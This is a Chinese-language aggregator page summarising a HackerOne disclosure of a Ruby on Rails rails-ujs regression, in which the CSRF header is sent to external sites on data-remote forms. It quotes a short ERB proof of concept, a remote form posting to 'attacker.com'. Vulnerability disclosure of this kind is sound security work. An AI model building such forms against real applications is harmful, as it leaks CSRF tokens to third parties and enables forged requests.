POJIA破甲
地图 / CSRF header is sent to external websites when using data-remote forms

CSRF header is sent to external websites when using data-remote forms

跨站请求伪造 / 跨站请求伪造 / #189878

厂商
Ruby on Rails
严重程度
低危 · CVSS 3.1
赏金
—
弱点
跨站请求伪造
研究员
@mastahyeti
披露日期
2020-05-26
资产
—
CVE
CVE-2015-1840CVE-2020-8167

该报告还没有中文解读。

原文摘录

摘自原文(898 字符中的一小部分)
Looks like there is a regression in the fix for CVE-2015-1840 ([H1 report](https://hackerone.com/reports/49935)). The origin isn't being checked before adding a CSRF header to `data-remote` forms. I noticed this when checking out the new rails-ujs repo.
原文中的代码
<%= form_tag "http://attacker.com", remote: true do %>
  <button type=submit>submit</button>
<% end %>

默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Ruby on Rails 所有。

时间线

  • 报告提交
  • 公开披露
阅读 HackerOne 原文 ↗作者 @mastahyeti · 版权归作者与 Ruby on Rails 所有

同类报告

[CSRF] TikTok Careers Portal Account TakeoverTikTok · 2020-12-15CSRF on connecting Paypal as Payment ProviderShopify · 2020-04-10Account Takeover using Linked Accounts due to lack of CSRF protectionRockstar Games · 2019-02-20Periscope android app deeplink leads to CSRF in follow actionX / xAI · 2020-02-21 · $1,540Take over of accounts created using Google or FacebookKhan Academy · 2019-05-17Improper CSRF token validation allows attackers to access victim's accounts linked to HackeroneHackerOne · 2023-06-19